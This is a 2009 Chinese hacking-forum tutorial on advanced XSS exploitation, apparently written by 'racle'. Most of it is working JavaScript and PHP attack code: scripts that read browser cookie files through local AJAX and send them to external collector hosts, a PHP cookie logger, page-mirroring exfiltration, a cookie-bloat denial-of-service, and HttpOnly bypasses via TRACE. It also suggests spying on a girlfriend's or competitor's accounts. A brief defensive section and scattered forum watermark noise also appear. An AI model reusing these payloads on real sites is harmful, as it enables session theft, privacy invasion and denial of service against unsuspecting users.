XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
1 G# p8 N  B4 T" Z" P. a5 Z本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
4 h9 S3 I3 B8 e. o+ Whttp://bbs.tian6.com/thread-12711-1-1.html
2 {9 D+ e, z! v# f! p转帖请保留版权

2 E+ J+ _2 ?; V# j
9 [. r( @; ]1 z$ \
- V  U2 C( I: h, c' _-------------------------------------------前言---------------------------------------------------------


本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


/ t3 m* [3 t5 B( k9 @0 k! |如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
& Y  L6 f! K9 t+ N  Lhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
+ {0 F! ]8 K$ A+ M7 A- Bhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
( K) u+ g! v' a/ x) d3 @9 G


! Q1 U7 j/ N8 x
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
$ w; g7 r- s3 D3 J! y- G8 H0 S8 i
5 T+ i% i6 K/ s: P* K* Q! r, r希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
, N7 s# J- ~, W3 G' u$ T
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

* D8 ~7 U* n0 m+ }1 M5 @QQ ZONE,校内网XSS     感染过万QQ ZONE.
; K/ u# ?0 `$ ]) O' M& \
% W; g9 }. q% m/ hOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
$ O0 `, w$ q% R$ i& R复制代码------------------------------------------介绍-------------------------------------------------------------

/ Y5 W. v1 U- Q- n6 `什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
1 I( X* @# V  _3 c9 o


- y8 R/ @) v8 I- ?% r! g! f$ g+ l跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
$ s. P* z" Z! B( I$ s
5 G- k2 [" a0 m4 t: H
2 k% I: U8 c* u8 l* Y& k. N: ^
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
- d) y0 c0 v% g, r- l复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?
: a( m, i# G* Q/ |: r
4 @( Y& O& a3 H# P2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

6 G) b' Y9 G; l  T/ b' [3 D  ^3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

6 l1 n9 ]% h& s  ?6 C- R2 d4        XSS漏洞在输出和输入两个方面怎么才能避免.



) M' h6 m9 u& |2 V  V- _0 v------------------------------------------研究正题----------------------------------------------------------
( N8 Y8 Q' H. i8 p4 k

9 V% r: v$ ?, @! H# r
! k% p; m7 ?* [通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
, _9 u8 l7 ?8 s; s; `9 s5 K: U$ j8 l; W复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
& g& `$ ]# `# W0 ?  R. Y: ?3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
) _! I8 C$ K" X1 k9 }4:Http-only可以采用作为COOKIES保护方式之一.





(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
2 ?$ s2 j9 m( ^- W( ]  P/ r. A+ d) r
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
  P- V- g" p$ A- X( x2 l


    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

0 ^$ l+ A3 B6 U7 c3 a6 K; w

    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
; I5 x+ c2 B- I+ k% f) I
6 g; D. F- k) E0 g2 t
& o! M% G3 ?- j
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
( F: u& }, ?1 D1 A
    function $(x){return document.getElementById(x)}



    function ajax_obj(){
$ O# K/ n* q. p$ _8 H+ i5 y
    var request = false;
7 h" R- o3 M# l0 A! F% ^& g
* b% B4 ^3 i' C1 J7 h    if(window.XMLHttpRequest) {
# _6 ]% o+ L  M5 z! |! p
1 }; [& f3 Q- l$ X0 A    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
' L" t! ^  N8 V; }* p1 h
& y9 c2 d/ q0 w) P    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
) N. p& r7 s. Q- h6 q

: o; V; r  _- w7 M1 y
; u% I8 h0 u& c+ G    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {

    try {
( e4 W( ~: Z, |1 L6 `
( w! H3 D5 B4 p; v* G1 b7 ~9 a    request = new ActiveXObject(versions);

$ }/ C# C* C  k! ?* G$ i1 l    } catch(e) {}
8 |, e" h$ J- n  G+ T  U
( D5 F! N' v1 ]3 v* {+ g    }
0 x) m9 W, V, [0 ~# t8 q* N
    }
2 `8 S7 ~, X6 j/ v5 U( y
    return request;

4 z# V: d' U! {2 }) M. D    }
7 ^$ E4 `& u! M& K( l7 }3 e8 t
( S3 y4 d! [5 B2 V/ P( J0 D    var _x = ajax_obj();
. Q4 S' K; G, ?- L8 }
8 l. i0 r* o  W& p8 c    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

" @! q: H" Z3 u2 j! }- }6 M3 `    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

( Z2 J) ~# Y  _( b! W7 H    _x.send(argv);
! a  C$ G3 x( W5 @! ^; T) O+ k
# @# U" I8 G2 e8 e: p& H    return _x.responseText;
& R/ L! w, M' g. |& Q- I
' u& X1 E  j4 P1 t2 g& \+ w    }



, _& B! i7 p4 w0 n, [& B    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
7 Q  `  |3 T$ Q8 i0 w2 z$ `4 g0 K' C
    alert(txt);

' C; G3 j2 y4 K, d4 q- p0 T

5 u. i  X- H/ H9 E: X! s+ _    </script>
& N" Q; m) [- @4 P' T% Z复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}
- S7 b8 ]0 X$ u% r

7 q6 R1 u) k* F6 ]* C% ~; \2 r
4 c0 V$ L: m* E) H    function ajax_obj(){
' b! T& W8 u7 T4 ~5 V" \3 p4 h
    var request = false;
, _( m: n: u+ A7 ~- {
& X! O& d* S+ a4 P    if(window.XMLHttpRequest) {

: P' ?( j4 o  Y1 l4 w! u6 c    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

+ w' p3 M6 x' W# `! k( i5 d    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
) G* n8 C8 D' x7 A  M7 E


    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

' {) E, P( G8 h9 k2 O    for(var i=0; i<versions.length; i++) {

* L) `9 W( f6 W' ^9 C    try {
" R# _# {" c) T% F" @+ M! h
    request = new ActiveXObject(versions);

8 O/ R4 p/ r, A* |    } catch(e) {}
  n# t$ Z4 H& D
7 f$ d* m( b0 b& G" b( d" g9 M; C    }
8 Y0 m0 n' b6 ~6 f  `
    }

    return request;

9 j* a- {1 J" O+ ~% A    }

    var _x = ajax_obj();
' ?1 \( [! w3 l0 p- F8 D5 e
    function _7or3(_m,action,argv){
' y' ?1 P( P+ x- x4 y
    _x.open(_m,action,false);

' I  z6 f' D/ p* [! S    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
0 b4 U0 L/ q6 F1 H# K
, M' F5 c" @% g  l  ~- N5 U( T    _x.send(argv);
7 E  {0 n* p# I9 L& ~/ }" N
" ~0 A: X8 Q8 i/ U- T; ~( r    return _x.responseText;

, O6 @: Y8 f6 m0 S/ S" j3 m    }
! H& X7 Y: @9 U5 h) G
9 h# H; J: j; a8 {/ ~* Y7 E
% Z  Y7 W5 o( I9 U% _( {0 V$ H& Y
8 |! q7 f9 D1 P    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);

4 K4 ^% C! S4 M' h+ q
& J" n9 C" q1 j. g7 V# _( X- `& }* x4 Z
; x7 K8 J& }% L    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
" C# @5 t3 B/ C& d. b


0 y% D- {. g9 HChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

: F2 Y0 \% T7 N5 p: d+ d
" l4 o1 c4 j' V6 M
<?   
* b7 e( \# Q! k( q( o- w8 O
1 o' L! E# I) n8 w6 p* h$ p: o/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
; K# e, e( t2 M
0 ^' S/ y0 p# Y     www.inbreak.net   

: z+ P/ K8 Z1 @9 _; |     author voidloafer@gmail.com 2009-4-22   
, w4 u8 w# u" }& m' L  A6 F* @
! i$ ?  K/ h9 D     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
/ _& d7 N6 \& w! |- h2 k5 M
3 @9 P, m" E$ h*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   

- e! b4 c- G! H: k+ d# cheader("Content-type: application/kxlzx");   

, T- M, R4 T* p/ l! s& k+ w/*  

9 g4 @: _8 V7 D     set header, so just download html file,and open it at local.  

* C' x5 V6 Q4 d" e*/  
+ l  x1 t5 [% i) F& W6 l  c
2 B+ i7 Y; Z6 S8 s* t0 z?>   
2 P( f" l' \9 P
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

4 H. E; l2 N5 t/ V# W     <input id="input" name="cookie" value="" type="hidden">   

</form>   
2 [. R7 t) T8 X7 s) X! J
<script>   

8 _  i, r. \$ o5 R# I3 f0 ufunction doMyAjax(user)   

{   

+ I; ^! z/ T3 z: H2 z8 a( B& Lvar time = Math.random();   
' R" x, U; K- T" S
5 n( Z$ n% B* s) v  G9 {9 K% j8 s' ~- ~% a1 ^/*  

1 \& s9 Q. b  e  Y9 f9 P/ Tthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
$ Q, E$ l! q0 r  y7 h
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  

' K0 n6 l6 p/ k( B1 j7 H- z*/  
8 ]* l% M7 F( [" b
* r& K0 Z. a( q5 Z9 m' B' E6 d, Fvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

8 h1 L  K% J6 X1 f+ s   

) x) ~" X# r3 N0 h) c% p/ s7 o  G# ^# K; JstartRequest(strPer);   
2 A$ G; j7 ?* G0 M5 ~

+ i& N. a  y" x" l1 a+ @- _
$ o4 `- A: m/ U2 X3 Q8 L7 Z}   

  Q# j6 P3 ?5 i8 ]   

2 {1 }' p0 J) t% O7 ?" M( Ffunction Enshellcode(txt)   

{   

var url=new String(txt);   
0 X" Y$ F# h- u/ t$ u* J; R
2 b+ d# g0 k& i+ d) ]- ~var i=0,l=0,k=0,curl="";   
& e  C0 S& H6 D$ w& ?! G# [8 f0 P4 ^- Y
, a, i  K' {! y" kl= url.length;   

for(;i<l;i++){   

7 k; ?; t! l$ J" M0 r6 }k=url.charCodeAt(i);   
9 F: z  V2 L; H$ r- }
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   
% l) O/ V  J8 X. @! K4 m
, k" s9 Y3 H$ ^, Jcurl=curl.replace(/(..)(..)/g,"%u$2$1");   
8 O* L! v+ h# c
return curl;   
% {" e4 I/ y  @+ P0 O" B
% s8 w/ Z- _& J1 ]! n}   
+ k( j, @' p" ~* e/ a9 H
   
2 O6 {4 r  {% h! ?! g6 v0 q
* {! C+ M5 n3 g' G6 ?   

var xmlHttp;   

. t) S' A& f- \) E+ D. Kfunction createXMLHttp(){   

( }3 _# q" z2 G) k8 K     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           
  u: ]) q8 i; {) y. ^
5 ]: @- s- O* e$ t7 i! s     }   

! c5 Z) W  n& |/ ]* g' {( b0 g     else if(window.ActiveXObject){   
9 e$ _. U) w- z1 x
5 w8 `/ J* j9 B7 V5 S8 s) q) rxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   

}   

   

( j( j0 W: h3 D& C5 d% R9 nfunction startRequest(doUrl){   

( Z: x% e4 L; L2 l4 p   
2 o: y+ d1 ~5 |
     createXMLHttp();   
" R7 K. ]3 {) t
, v" E4 b7 k+ s+ [
- q  z. K$ ~8 J; l
% }6 m5 _2 a) O+ g, W     xmlHttp.onreadystatechange = handleStateChange;   


* w& k! s9 f( K0 P! c0 z9 A
8 H/ J' x1 t/ x+ P     xmlHttp.open("GET", doUrl, true);   


# {) ?8 o( P' r- a2 D
     xmlHttp.send(null);   
% F/ w8 Z% y  y  }, ^

- ]6 A" s( N7 Z+ ?) C! n

, z& h* s( U( |6 h4 r
. J' ?- I( J& S}   

   

function handleStateChange(){   
, D& q4 u  J; l
     if (xmlHttp.readyState == 4 ){   
" S1 b" i2 b" x- j& ^7 i
     var strResponse = "";   
+ U  u* w/ A$ ]
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
! R3 q6 R. d) L
        
+ L0 ]3 @: j: Z# ?6 h
, F, K  ]- U/ R/ [1 S     }   

}   
9 T: Z8 \" l, o+ E
   
% I  p6 P! p1 f2 I
  l0 W5 F7 `- w; N( M* O& |4 l3 n   
- X# k: Q/ a3 ?
function framekxlzxPost(text)   
# }2 f- s% P# B5 n  N- D; A" j& Q/ p) [; k) C
{   

+ A) {1 Z3 j8 h% P8 Z' C5 X     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   
6 L3 q* F( u0 F$ P( r
! ]) G7 v: `& j6 P. [}   

. [9 e7 S4 l( z: p5 ^   

doMyAjax("administrator");   
1 C" O0 w; ^9 F  ~
, |. U4 ]6 Y6 R% J! C8 _4 ?   
  [3 {5 M, G- @- r
5 r2 Q6 |7 e8 X5 S</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

var xmlHttp;  

function createXMLHttp(){  

     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         
  Z/ |8 D% ]# L3 k/ G! n& b( N
     }  
# j$ N/ h) O4 d4 H# S7 y; E
+ c0 h  {2 u  P* O3 L     else if(window.ActiveXObject){  

5 x+ q. v3 O9 t9 I& G         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

/ {6 q8 Z" X4 S/ s3 A8 J     }  

0 o1 g" a: j* T. y4 `7 G( T% o}  

& h3 x" \7 }+ R. G/ ]   
) {4 f# a# w0 q
4 \% x3 U9 t2 s$ i  zfunction startRequest(doUrl){  

! L: L  f8 k1 x  B6 W8 s3 ]           

     createXMLHttp();  

. B7 O5 M4 }/ U      
  }0 _1 r) r% j, _( C
     xmlHttp.onreadystatechange = handleStateChange;  
/ |# x; \3 x6 B% u$ F7 W
' J2 p; r3 |% D1 n7 p6 u: }      
7 O' c# `, M9 h+ F; }6 T
) F* C2 e- p0 l& g- U     xmlHttp.open("GET", doUrl, true);  
& o3 ^3 Y4 I! {) p9 I
      

7 F: @5 J8 Y; x& j: `     xmlHttp.send(null);  

$ Y1 w& k' [) a+ S/ s' \' _      
  K" n; S  X( S4 B5 Y0 I  T
      
; P2 p+ \7 j8 V- D0 g
}   
9 {- L2 Q* i, s+ m2 z3 o, q- |
( ]7 [$ \- A$ W; l4 p$ u, A1 @% }8 j   

# F6 u$ R! b, B3 ^function handleStateChange(){  
; l' Q! t- a- X" b# i+ Q
  H1 w% E5 o8 K0 u7 S9 K     if (xmlHttp.readyState == 4 ){  
$ E2 K! p6 A) ]3 f" S' ^
. Y0 H+ @0 l2 ]* M$ N2 }             var strResponse = "";  

. S7 D' k. g+ V5 W6 ]0 v" P3 F9 o4 ?' J  h             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

: d) I9 ?4 k0 F2 w               
# l1 l1 Z& d8 t
     }  

}  
: H4 C, b4 E$ ]6 Q
   
, W/ y, p  ~+ }2 Q8 R- @* e
function doMyAjax(user,file)  

' v0 o& \6 k* ~0 p: X{  
1 u* S' D+ ?* b
- `0 w' ^, X" R         var time = Math.random();  
2 r& e( J9 h0 ]4 _/ q
           
+ S% u" F# `  q! x1 x+ z
" [# |. W6 U; }- c         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           

& m$ [! D% u/ j. L9 D! s- }         startRequest(strPer);  

5 _9 r8 ~0 u3 B: @0 E2 ]6 C3 f      

2 ?; X( u& r# l* ^; W0 e% Z3 D2 }}  
/ k* f" |4 O3 I9 {6 v) B3 s' D
   

function framekxlzxPost(text)  
$ h7 H9 x% y3 s
% S# {, ?% U$ d# |9 R1 C2 F9 }8 h{  
  d7 C, c, ^* Q+ g8 u" G8 Z
8 M1 K/ a; q  ]2 k     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  

}  

- g2 ]: ~. q' |1 [( Y7 H6 S6 @* b   
* u+ R) V& }! A' F
doMyAjax('administrator','administrator@alibaba[1].txt');  

   
; l) E' A" ?% H( S% ?, Z
</script>
8 ~) W$ M2 A  _% }, a
$ M2 S! C  k: [, I

2 Z! y1 e2 \/ [
+ K; A1 }. R- N0 G# x7 S8 P+ B
9 c4 b; ?4 ]& M/ b0 R0 pa.php


( l# F0 T- o3 a: {' A3 z  U/ t
7 [" b/ c. k" f1 s2 y<?php      
2 {' J& v3 N1 s6 C
   
( @; m$ q' P* G7 |4 F5 G7 m
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

5 }& F: l8 L2 E9 m( ~  
3 w' H  f% Y! N1 _* C2 B1 C. ~
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

2 `' m0 S2 O& x$ Q$ s8 {* F4 Vfwrite($fp,$_GET["cookie"]);      

- N! m! ]# q% F/ C: W/ ]2 t& Xfclose($fp);   
5 o3 S  n" N1 |2 T
?>
- [% X. d9 G- K/ w$ a5 J1 S1 B& C复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

, h8 |8 d6 U5 {" w& C6 g或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
1 J' j" U) s6 M7 [# @" R9 A: S0 x9 K利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
* C" n8 t5 F7 Y$ Z) I, ]( D3 N
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

6 J, w! l! Q: I9 M: ^* N//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
( ]- {8 r: n" e
function getURL(s) {

var image = new Image();

image.style.width = 0;

image.style.height = 0;

image.src = s;

8 F& _5 s9 O$ t}

getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
8 o: ^7 z/ R: q4 j: Y5 L2 L复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
% Z7 L2 r9 c( n' v! X) d. Q( z这里引用大风的一段简单代码:<script language="javascript">

% O4 A5 @" k+ a0 evar metastr = "AAAAAAAAAA"; // 10 A
' Z* A0 ?3 J3 [3 A9 ]
var str = "";
* R) F. S/ u/ L. X- G6 @
* k9 m8 F1 o& ~4 ewhile (str.length < 4000){
- L/ a$ n6 n: I$ q* K  O/ q$ r3 B
    str += metastr;

* G' @) X  d1 [3 ^; x1 M: c3 t}
7 D; a: O' v( }4 l/ w$ Q  X

7 X+ o  I6 @  W( @& @( z4 Y
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
2 c4 u2 ]$ l$ _/ N) F3 s6 vserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
- x& ]$ E* e2 k1 l# u+ Y4 N( }
6 \% V% Y9 \) V假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


* }; C/ _1 o; e' G7 n8 _1 M3 P

2 f6 b/ c6 j. J) v4 f: V
6 [7 L% _$ M$ p; }
: F2 [/ K  V; x2 X/ ?(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--
* k1 g/ v$ d- I  L' e, O' ~' \
' B2 j4 y7 p9 V3 ?# Z0 ffunction normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);

( }! Q: P7 o0 ^, X( X" t5 D$ o1 Y}
6 E8 [5 K% A; T

1 g. s, L0 K( m+ E5 n
5 l" e' G* g2 t& t% M. J

# `& Z" P" p" w- H& {5 bfunction httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
: I3 j' q% w; o% g2 z: R
; Z* P" k5 _, ~) falert(document.cookie);}


* ]  p! `' k# E* T, K% n+ F- Z
7 D* I8 @7 b, q//-->
$ X/ p3 S0 y! i# n  ^- _
/ M) w$ r! p3 J+ R</script>
! w8 B  ^. u. u
/ Z- S5 e3 d+ i0 w0 _

<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

2 t3 k; c7 ~! M# }. s; e2 w<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>



9 \3 \/ h: C! R6 Ovar request = false;

        if(window.XMLHttpRequest) {

3 Y4 p3 i! k; T. Z# f9 x            request = new XMLHttpRequest();
6 _! ?: z. |  J0 c% x
            if(request.overrideMimeType) {
3 k, ]5 e6 p# D$ S: G% j
3 A+ i% Y- Q1 Y4 B                request.overrideMimeType('text/xml');

+ H2 ^3 g1 D+ u1 F$ O            }
: U3 J4 E% A( e8 ?  _0 x' N0 n
  Q' k8 A, n% V. G5 P        } else if(window.ActiveXObject) {
8 ]% P5 ?3 j+ Z3 p2 u" v
; `1 u# s% m' r7 t: {! A            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

4 b) }0 W) g# O            for(var i=0; i<versions.length; i++) {

  [* ?; t5 Q! T                try {
+ V/ h0 W3 \# k) [) f+ N; |
                    request = new ActiveXObject(versions);
. x6 c/ _# y" w7 H# U0 V& `
                } catch(e) {}
# a! L0 H; V, r2 X
; J+ x7 Q5 r) c7 R1 r2 g* o2 a" F            }
% d1 [) S2 q0 ~
; W4 d+ R1 ?3 ^5 ]. Y5 A* X        }

xmlHttp=request;

. H# _% y$ `: L7 cxmlHttp.open("TRACE","http://www.vul.com",false);

. H) p* l  x8 ?; HxmlHttp.send(null);

xmlDoc=xmlHttp.responseText;

alert(xmlDoc);

</script>
8 _+ d5 L( U! c# C1 }8 c/ Q复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
# G+ ~7 `3 M7 a; a) u0 U8 F) z8 H
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

7 N$ U: k4 I9 |7 _2 S4 W. OXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
9 f, H& P. Y; l7 `
XmlHttp.send(null);
9 A3 z- k. t& ]( Z3 j
7 r. O, L( q4 N! ]  d7 Lvar resource=xmlHttp.responseText
. i7 _5 O9 c* R
5 g: d  v' K1 e; u  [1 wresource.search(/cookies/);

......................
. I$ I) {1 x0 t* X" G
; Z6 @0 u: X7 ]+ P. D6 _+ d; O</script>



$ M6 A+ i/ ]: y. C9 `# v9 Z

. D6 w' v) D7 V+ {& C( u  U; t如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

[code]
: l+ O5 I% b* n+ D
& |! k& n; b! d3 m: ]RewriteEngine On

1 i1 s! L6 O5 A6 K9 ^" ^% wRewriteCond %{REQUEST_METHOD} ^TRACE
$ v7 e9 `! b0 ^
RewriteRule .* - [F]
( i1 _5 P3 x9 p2 \- [
- ^7 Z% Z9 O: s. s6 J

Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
; I- y& q8 \% a. J! L
2 s( ~. M# C0 j8 E# C9 \acl TRACE method TRACE

...

http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
1 a5 \4 E+ A6 Y, z( F' C
  ]- z  s! }; jvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
# Q: K9 y7 @, x3 E1 O  U! y
XmlHttp.open("GET","http://www.google.com",false);

. D# ]- h, A3 U: a! N9 NXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
( C" j/ P  c7 V. r/ e* T
XmlHttp.send(null);

